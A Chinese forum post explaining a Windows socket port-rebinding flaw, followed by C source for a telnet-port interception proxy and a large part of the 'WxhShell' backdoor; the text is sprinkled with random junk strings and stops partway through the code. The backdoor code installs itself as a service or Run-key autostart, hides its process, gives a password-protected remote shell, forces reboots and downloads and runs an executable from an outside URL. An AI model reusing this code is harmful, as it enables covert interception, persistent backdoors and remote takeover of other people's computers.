社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 14543阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: #-76E  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >< <(6  
>*DR>U  
  saddr.sin_family = AF_INET; &PY~m<F  
0$RZ~  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 4n55{ ?Z  
j\W"P_dpd  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); kKbq?}W[  
Z>=IP-,>  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 1'.SHY|  
sVdn>$KXk  
  这意味着什么?意味着可以进行如下的攻击: 0,~f"Dyqy  
5^kLNNum  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 $~x#Q?-y  
!,D7L6N  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) a%\6L  
R8[l\Y>Ec  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ?HD(EGdx  
c6v@6jzx0Y  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  C\%T|ZDE  
tK@|sZ>3\  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 xBba&A]=  
[k1N-';;;  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 h"~i&T h  
m9yi:zT%  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 i.QS(gM  
N=Q<mj;,  
  #include 9W^sq<tR  
  #include t:MeSO  
  #include R/!lDv!  
  #include    'gBns  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ?= G+L0t  
  int main() ie<zc+*rW  
  { tX'`4!{@+  
  WORD wVersionRequested; X#;n Gq)5  
  DWORD ret; 4XL$I*;4  
  WSADATA wsaData; U.XvS''E  
  BOOL val; G =`-w  
  SOCKADDR_IN saddr; fU/&e^, 's  
  SOCKADDR_IN scaddr; n $Nw/Vm  
  int err; e"=/zZH3  
  SOCKET s; b/#SkxW#S  
  SOCKET sc; \<e?  
  int caddsize; Q{+*F8%8V<  
  HANDLE mt; 2@TgeV0Y[  
  DWORD tid;   hc"l^a!7ic  
  wVersionRequested = MAKEWORD( 2, 2 ); AN193o   
  err = WSAStartup( wVersionRequested, &wsaData ); { XI0KiE  
  if ( err != 0 ) { Lzr&Q(mL  
  printf("error!WSAStartup failed!\n"); MP/@Mf\<E  
  return -1; *R'r=C`  
  } " V[=U13  
  saddr.sin_family = AF_INET; >(EC.ke  
   RIC\f_Dv  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 6XP>qI,AJ  
;$a+ >  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); !sknO53`H`  
  saddr.sin_port = htons(23); Uu_g_b:z  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9Wu c1#  
  { C8{bqmlm@  
  printf("error!socket failed!\n"); + 6noQYe  
  return -1; t`M4@1S"'  
  } Cs:?9G  
  val = TRUE; V/.Na(C~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 `!Z0; qk  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Fb2,2Px  
  { x3>ZO.Q  
  printf("error!setsockopt failed!\n"); /D d.C<F  
  return -1;  W8blHw"  
  } bk(q8xR`  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; eeVDU$*e=  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 /"+CH\) E  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 8ln{!,j;  
N F$k~r  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) QJ i5 H  
  { 0Cg}yyOz  
  ret=GetLastError(); h 8%(,$*  
  printf("error!bind failed!\n"); 7$"A2x   
  return -1; "*U0xnI  
  } x5w5xw  
  listen(s,2); &nV/XLpG  
  while(1) }}Zwdpo  
  { |?cL>]t  
  caddsize = sizeof(scaddr); ~mF^t7n]  
  //接受连接请求 V jdu9Ez  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); '2S/FOb  
  if(sc!=INVALID_SOCKET) [X9T$7q#  
  { TdU'L:<4l  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); c>|1%}"?  
  if(mt==NULL) cp:U@Nh(  
  { 40e(p/Qka  
  printf("Thread Creat Failed!\n"); "|Ke/0rGB  
  break; f};RtRo2  
  } _2-fH  
  } Z bW!c1s{  
  CloseHandle(mt); bcR";cE  
  } adcH3rV  
  closesocket(s); x/pX?k  
  WSACleanup(); B_uhNLd  
  return 0; /~(T[\E<  
  }   J9%I&lu/  
  DWORD WINAPI ClientThread(LPVOID lpParam) {xD\w^  
  { 2jVvK"C  
  SOCKET ss = (SOCKET)lpParam; '^n,)oA/G  
  SOCKET sc; .Ei#mG-=}&  
  unsigned char buf[4096]; }WA =  
  SOCKADDR_IN saddr; }>5R9  
  long num; HUFm@?  
  DWORD val; =Lh8#>T\h  
  DWORD ret; |C"zK  
  //如果是隐藏端口应用的话,可以在此处加一些判断 |EGC1x]j=  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   rNK<p3=7)  
  saddr.sin_family = AF_INET; }PXtwp13&u  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); bA-/"'Vp9  
  saddr.sin_port = htons(23); KqL+R$??"(  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) D03QisH=  
  { <.Dg3RH  
  printf("error!socket failed!\n"); U!GfDt  
  return -1; 3v91yMx  
  } .rw a=IW  
  val = 100; Z=m5V(9  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Gw$Y`]ipy  
  { 4wkmgS  
  ret = GetLastError(); A-eRL`  
  return -1; !X5LgMw^;  
  } aBd>.]l?  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qOTo p-  
  { j5gL 67B  
  ret = GetLastError(); `Hx JE"/  
  return -1; zNO,vR[\  
  } x MFo  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) U>i}C_7g  
  { /u&7!>,  
  printf("error!socket connect failed!\n"); 0;L.h|R T(  
  closesocket(sc); 6J]8BHJn+  
  closesocket(ss); :anR/  
  return -1; $qR<_6j  
  } k|^YYi= xF  
  while(1) KY%LqcC  
  { z41v5rB4  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 3s0 I<cL  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~c=F$M^"c  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 #Q1 |]  
  num = recv(ss,buf,4096,0); dC/@OV)0#  
  if(num>0) *7w,o?l  
  send(sc,buf,num,0); G+1i~&uV  
  else if(num==0) kXgc'w6EhF  
  break; /,yRn31[  
  num = recv(sc,buf,4096,0); w.(?O;  
  if(num>0) |\U5m6q  
  send(ss,buf,num,0); r h c&#JS  
  else if(num==0) V/+D]  
  break; 5K,=S  
  } <c&Nm_)  
  closesocket(ss); aF{1V \e  
  closesocket(sc); =`k', V_  
  return 0 ; =p[a Cb i  
  } ".{'h  
oO^=%Mc(  
yf2P6b\  
========================================================== '-BD.^!!  
,YBe|3  
下边附上一个代码,,WXhSHELL _l+8[\v  
GP(ze-Yp  
========================================================== hvc3n> Y[}  
YCq:]  
#include "stdafx.h" eGLB,29g  
fCbd]X  
#include <stdio.h> -Rwx`=6tV  
#include <string.h> Ae;mU[MK/  
#include <windows.h> vO)]~AiB  
#include <winsock2.h> iHT=ROL  
#include <winsvc.h> q $=[v  
#include <urlmon.h> j6E|j>@u  
^x2@KMKXZ  
#pragma comment (lib, "Ws2_32.lib") Ki>XLX,er=  
#pragma comment (lib, "urlmon.lib") 25;(`Td 5  
**.g^Pyc  
#define MAX_USER   100 // 最大客户端连接数 AHU =`z  
#define BUF_SOCK   200 // sock buffer PDS?>Jg(  
#define KEY_BUFF   255 // 输入 buffer cEIs9;  
}"&Ye  
#define REBOOT     0   // 重启 6!C>J#T  
#define SHUTDOWN   1   // 关机 M0t9`Z9  
#fDM{f0]R  
#define DEF_PORT   5000 // 监听端口 9 /=+2SZ  
i}O.,iH  
#define REG_LEN     16   // 注册表键长度 G8.nKoHv7x  
#define SVC_LEN     80   // NT服务名长度 G0he'BR  
^vJy<  
// 从dll定义API A: O"N  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  L+CPT  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); oS~;>]W  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +OZ\rs  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); HLCI  
hOYP~OR  
// wxhshell配置信息 NFPWh3),f  
struct WSCFG { lMgPwvs'  
  int ws_port;         // 监听端口 v\+`n^=  
  char ws_passstr[REG_LEN]; // 口令 r)Ja\ ;  
  int ws_autoins;       // 安装标记, 1=yes 0=no Y(Y#H$w  
  char ws_regname[REG_LEN]; // 注册表键名 3U'l'H,  
  char ws_svcname[REG_LEN]; // 服务名 iikMz|:7U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 q7pe\~q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 M[C)b\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <b?$-Rx  
int ws_downexe;       // 下载执行标记, 1=yes 0=no x->+w Jm@s  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" T_d)1m fl  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }/4),W@<  
d(K}v\3!  
}; Z^J 7r&\V  
J$d']%Dwb  
// default Wxhshell configuration $WO{!R  
struct WSCFG wscfg={DEF_PORT, 4Ik'beZqK  
    "xuhuanlingzhe", .vie#,la  
    1, A6 RwLX  
    "Wxhshell", +i[vJRLxl~  
    "Wxhshell", (|pM^+  
            "WxhShell Service", k~?5mUyK<  
    "Wrsky Windows CmdShell Service", dU2:H}  
    "Please Input Your Password: ", 0]zMb^wo  
  1, +p$lVnAt  
  "http://www.wrsky.com/wxhshell.exe", 1--Ka& H  
  "Wxhshell.exe" eCiI=HcW;  
    }; gfKv$~  
NieNfurG%  
// 消息定义模块 i7e_~K  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ltKMvGEF  
char *msg_ws_prompt="\n\r? for help\n\r#>"; EeGTBVms  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _j*a5fsPU  
char *msg_ws_ext="\n\rExit."; tns4e\  
char *msg_ws_end="\n\rQuit."; f@k.4aS  
char *msg_ws_boot="\n\rReboot..."; !="8ok+  
char *msg_ws_poff="\n\rShutdown..."; <*9(m  
char *msg_ws_down="\n\rSave to "; bwa*|{R  
>uDC!0)R  
char *msg_ws_err="\n\rErr!"; &}t8O?!  
char *msg_ws_ok="\n\rOK!"; OuK RaZ  
xz~Y %Y|Z  
char ExeFile[MAX_PATH]; av_ +M;G  
int nUser = 0; Z@bSkO<Y  
HANDLE handles[MAX_USER]; {gxP_>  
int OsIsNt; #N;&^El  
h^,av^lg^  
SERVICE_STATUS       serviceStatus; SXC 7LJm<g  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &Mz]y?k'  
h"[:$~/UJ  
// 函数声明 T^A[m0mk  
int Install(void); /.~zk(-&h  
int Uninstall(void); _h 6c[*  
int DownloadFile(char *sURL, SOCKET wsh); 5~d=,;yE  
int Boot(int flag); p K ^$^*#  
void HideProc(void); zRgAmX/g  
int GetOsVer(void); r7^v@  
int Wxhshell(SOCKET wsl); /(?s\}O  
void TalkWithClient(void *cs); clk]JA (  
int CmdShell(SOCKET sock);  n}- _fx  
int StartFromService(void); uL ~wMX  
int StartWxhshell(LPSTR lpCmdLine); =MvB9gx@r  
"x nULQK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2XEE/]^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); li{!Jp5]1b  
C{+JrHV%h  
// 数据结构和表定义 TF80WMt  
SERVICE_TABLE_ENTRY DispatchTable[] = YI`BA`BQ8  
{ BO8?{~i  
{wscfg.ws_svcname, NTServiceMain}, 4$81ilBcL  
{NULL, NULL} h6}rOchj  
}; ]]e>Jym  
xSDTO$U8%  
// 自我安装 Xtloyph  
int Install(void) d\zUtcJwC  
{ KT17I&:  
  char svExeFile[MAX_PATH]; R}IuMMx  
  HKEY key; Xq<_r^  
  strcpy(svExeFile,ExeFile); FlUO3rc|  
bkz/V/Y  
// 如果是win9x系统,修改注册表设为自启动 +(W7hK4ip  
if(!OsIsNt) { ; rNX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c|Z6p{)V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GB;_!69I  
  RegCloseKey(key); p=^6V"'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t,Q"Pt?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qe22 kE#  
  RegCloseKey(key); suYbD!`(  
  return 0; 'Hs*  
    } 4?bvJJuf)  
  } *_P'>V#p  
} =pTTXo  
else { 0{XT#H  
Az-!X!O*f  
// 如果是NT以上系统,安装为系统服务 ,6o tm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _xy[\X;9  
if (schSCManager!=0) "rfBYl`  
{ <;uM/vS i  
  SC_HANDLE schService = CreateService ?b"'w  
  ( &aa3BgxyE  
  schSCManager, -%Rbd0gVH\  
  wscfg.ws_svcname, awjAv8tPO!  
  wscfg.ws_svcdisp, }Oqt=Wm  
  SERVICE_ALL_ACCESS, 4Xww(5?3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `m #i|8  
  SERVICE_AUTO_START, gf>GK/^HH  
  SERVICE_ERROR_NORMAL, Qc=-M'9  
  svExeFile, $~VIx% h  
  NULL, TuaP  
  NULL, z`NJelcuz\  
  NULL, Z3=N= xY]  
  NULL, Wyow MFp  
  NULL 7#Uzz"^  
  ); Mvp|S.  
  if (schService!=0) jc\y{I\  
  { 'Sesh'2 /  
  CloseServiceHandle(schService); X?;iSekI4  
  CloseServiceHandle(schSCManager); C\OZs%]At  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Se37-  
  strcat(svExeFile,wscfg.ws_svcname); W}%"xy]N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?YUL~P  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); V DZOJM)(  
  RegCloseKey(key); ]EUQMyR  
  return 0; Z[B:6\oQ  
    } >YsM'.EFD  
  } 7\ZSXQy1W  
  CloseServiceHandle(schSCManager); g_A#WQyh\'  
} 7%[ YX  
} e,Y<$kPV  
.}uri1k"@k  
return 1; Y9&na&vY?  
} x34GRe!!  
jw 5 U-zi  
// 自我卸载 HL dHyK/S  
int Uninstall(void) nJ/}b/A{  
{ rl&.|;5uH;  
  HKEY key; )4.-6F7U?  
^FVmP d*1  
if(!OsIsNt) { K4+|K:e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 71ab&V il  
  RegDeleteValue(key,wscfg.ws_regname); b'z\|jY  
  RegCloseKey(key); XHOS"o$y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `%EcQ}Nr  
  RegDeleteValue(key,wscfg.ws_regname); *-uzsq.W  
  RegCloseKey(key); wh2E$b(-  
  return 0; @,-D P41g  
  } _ n1:v~  
} shP}T[<  
} F2ISg'  
else { z#rp8-HUDS  
;>;it5 l=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2-W y@\  
if (schSCManager!=0) >oaL-01i  
{ o^MoU2c  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ZU;jz[}  
  if (schService!=0) F6b;qb6n  
  { wXKt)3dmu  
  if(DeleteService(schService)!=0) { TJ_6:;4,|_  
  CloseServiceHandle(schService); Zb|a\z8?  
  CloseServiceHandle(schSCManager); Mn<s9ITS-  
  return 0;  qmenj  
  } LR\8M(rtvH  
  CloseServiceHandle(schService); pd & HC  
  } R@/"B?`(f  
  CloseServiceHandle(schSCManager); >3&V"^r(|  
} 3 `mtc@*  
} >,I'S2_Zl  
D*?LcxX  
return 1; G;/l[mvh,  
} g+c%J#F=  
<P6d-+  
// 从指定url下载文件 H* +7{;$  
int DownloadFile(char *sURL, SOCKET wsh) VZ y$0*  
{ {^^LeUd#V  
  HRESULT hr; !(viXV5  
char seps[]= "/"; zMBGpqdP  
char *token; x25zk4-  
char *file; 6l &!4r@}  
char myURL[MAX_PATH]; 98 ]pkqp4  
char myFILE[MAX_PATH]; -P&uY`  
G007[|  
strcpy(myURL,sURL); uJeJ=7,EO  
  token=strtok(myURL,seps); xU}J6 Tv  
  while(token!=NULL) VeZd\Oe  
  { *!{&n*N  
    file=token; bD|"c  
  token=strtok(NULL,seps); =6i+K.}e  
  } o^//|]H3Y  
F- u"zox  
GetCurrentDirectory(MAX_PATH,myFILE); 0vBQzM Q  
strcat(myFILE, "\\"); H*P+>j&  
strcat(myFILE, file); Zk>m!F>,p  
  send(wsh,myFILE,strlen(myFILE),0); a/3'!}&e  
send(wsh,"...",3,0); $b2~H+u(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); T!HAE#xC  
  if(hr==S_OK) :nc%:z=O  
return 0; /=A@O !l  
else rmtCCPF?0  
return 1; YnW9uy5  
nZc6 *jiz  
} m_BpY9c]5  
7Kb&BF|Q  
// 系统电源模块 C8)Paop$  
int Boot(int flag) Aayd3Ph0%  
{ 1$6 u  
  HANDLE hToken; x K\i&A  
  TOKEN_PRIVILEGES tkp; : yq2 XE%r  
wL^x9O|`p9  
  if(OsIsNt) { ; C(5lD&\5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); i[{*(Y$L  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  >;%QW  
    tkp.PrivilegeCount = 1; lA;^c)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; VGu(HB8n#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .;.Zbhm  
if(flag==REBOOT) { 5MZv!N   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) UvB\kIH  
  return 0; Bss *-K]  
} oIIi_yc  
else { OYn5k6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) RL/7>YQ  
  return 0; ua &uR7  
} FeQo,a  
  } _bg Zl  
  else { jVN=_Y}\  
if(flag==REBOOT) { d(R8^v/L  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Fm6]mz%~u#  
  return 0; GK6CnSV8d  
} UX.rzYM&T  
else { Kxeq Q@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Tyb'p9  
  return 0; riaL[4c  
} f~TkU\Rh  
} 2Ur&_c6 P  
Aw4)=-LKO  
return 1; ]n<B a7Y  
} oWi#?'  
WX_g  
// win9x进程隐藏模块 S1'?"zAmd  
void HideProc(void) _^zs(  
{ \yxGE+~P  
1p&=tN  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); t}pYSSTz  
  if ( hKernel != NULL ) r<LWiM l?  
  { :eB+t`M  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); KV9~L`=]i  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,1JQjsR   
    FreeLibrary(hKernel); TlX:05/V8  
  } ]VtP7 Y  
KbK!4  
return; <mTo54g  
} YN:Sn\`D 8  
M 0RA&  
// 获取操作系统版本 B,Tv9(sv  
int GetOsVer(void) ]~f-8!$$R  
{ TeR bW  
  OSVERSIONINFO winfo; !bnnUCTb\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); H!6&'=c{k  
  GetVersionEx(&winfo); tI#65ox#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Sz')1<  
  return 1; p:{L fQ  
  else o54=^@>O<j  
  return 0; xcQ^y}JN  
} D(dV{^} 9  
oY,{9H37b  
// 客户端句柄模块 >qO l1]uF  
int Wxhshell(SOCKET wsl) f><V;D#  
{ v@s"*E/PF7  
  SOCKET wsh; Z.unCf3Q  
  struct sockaddr_in client; Jcs /i  
  DWORD myID; vQnhb %  
%]tW2s"  
  while(nUser<MAX_USER) k*F9&-rtN  
{ iS"6)#a72  
  int nSize=sizeof(client); I|c?*~7*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0QrRG$<4X  
  if(wsh==INVALID_SOCKET) return 1; R3)ccom  
AxTFV ot  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); o: > (Tv  
if(handles[nUser]==0) bu \(KR$s  
  closesocket(wsh); EqIs&){  
else O~ x{p,s U  
  nUser++; ;<E?NBV^  
  } ]rg-=Y k  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \Ov~ t  
<4/q5*&  
  return 0; 'X/:TOk{W  
} fLSDt(c',  
d& v 7l  
// 关闭 socket J<Ki;_=I  
void CloseIt(SOCKET wsh) O(.eHZ=  
{ h2:TbQ  
closesocket(wsh); qxZf!NX5  
nUser--; np}0O  X  
ExitThread(0); ?hIDyM  
} s`.J!^u`  
5N ;xo??  
// 客户端请求句柄 WUQa2$.  
void TalkWithClient(void *cs) \X]I: 0^j  
{ p#r qe<Ua  
>!o!rs  
  SOCKET wsh=(SOCKET)cs; O]F(vHK\   
  char pwd[SVC_LEN]; +x4*T  
  char cmd[KEY_BUFF]; 4ISIg\:c*  
char chr[1]; pXh`o20I  
int i,j; H&k&mRi  
G'nSnw  
  while (nUser < MAX_USER) { 0XyPG  
[E2".F3  
if(wscfg.ws_passstr) { UalwK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {%, 4P_m  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PtL8Kd0`C  
  //ZeroMemory(pwd,KEY_BUFF); .uN(44^+x  
      i=0; uLI;_,/:  
  while(i<SVC_LEN) { BuC\Bd^0  
?"?AH/ED  
  // 设置超时 'C:i5?zh(q  
  fd_set FdRead; Rx.5;2m  
  struct timeval TimeOut; h_\W7xt  
  FD_ZERO(&FdRead); 7W&XcF  
  FD_SET(wsh,&FdRead); )RWukr+  
  TimeOut.tv_sec=8; UKB/>:R  
  TimeOut.tv_usec=0; +9<:z\B|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); X"HVK+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]Al)>  
|B^Picu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ke/4l?zs  
  pwd=chr[0]; eU]I !pI<  
  if(chr[0]==0xd || chr[0]==0xa) { F)/4#[  
  pwd=0; N1vA>(2A  
  break; < 5ULu(b&$  
  } 7v.O Lp  
  i++; evVxzU&  
    } 8S[bt@v  
u`!Dp$P  
  // 如果是非法用户,关闭 socket o{mVXidE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #D >:'ezm  
} FZ8Qj8  
F6h IG G  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); wp:Zur5Y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 65mfq&"P ?  
,k9.1kjO*)  
while(1) { i?mUQ'H  
?D_}',Wx  
  ZeroMemory(cmd,KEY_BUFF); :."+&gb  
yy3`E}vX7  
      // 自动支持客户端 telnet标准   =i/ r:  
  j=0; %?S[{ 4A&  
  while(j<KEY_BUFF) { tWTC'Gx-J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \3F)M`g  
  cmd[j]=chr[0]; bIV9cpW  
  if(chr[0]==0xa || chr[0]==0xd) { l$W)Vk<B(T  
  cmd[j]=0; ?1eu9;q\*  
  break; 9p4SxMMO  
  } :)+)L@By  
  j++; f&$$*a  
    } 2Z`Jr/  
"tA.`*  
  // 下载文件 Pt6d5EIG  
  if(strstr(cmd,"http://")) { _,p/2m-Pj  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3 rLc\rK  
  if(DownloadFile(cmd,wsh)) N5xI;UV9'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }C~9 ?Y  
  else s)sT\crP@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [DtMT6F3  
  } Z 2$S'}F  
  else { MY(51)*  
Jt?`(H  
    switch(cmd[0]) { |Fq\%y#  
  k#p6QA hS  
  // 帮助 'RV wxd  
  case '?': { sLK$H|%>m  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); H87k1^}HV  
    break; !D/W6Ic@  
  } 9'ky2 ]w  
  // 安装 _skE\7&>X  
  case 'i': { {D [z>I;D  
    if(Install()) hN!{/Gc|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^j1G08W  
    else Gxt6]+r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !4YmaijeN  
    break; N)KN!!  
    } kn&BGYt  
  // 卸载 N[yS heT  
  case 'r': { Qv8 =CnuOT  
    if(Uninstall()) W{ZJ^QAq/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )E6E}  
    else ^Q!A4 qOQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &u (pBr8B  
    break; 8Qkwg]X  
    } OY!WEP$F-C  
  // 显示 wxhshell 所在路径 JbXi|OS/  
  case 'p': { F C=N}5u  
    char svExeFile[MAX_PATH]; 9*r l7  
    strcpy(svExeFile,"\n\r"); 8N`Rf; BM  
      strcat(svExeFile,ExeFile); >aCY  
        send(wsh,svExeFile,strlen(svExeFile),0); 5R1? jlm  
    break; (Q.I DDlr  
    } }|znQ3A2\l  
  // 重启 l o- 42)  
  case 'b': { j& L@L.d  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~O3VX75f  
    if(Boot(REBOOT)) SkU9iW(k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '\"5qB  
    else { 81)i>]  
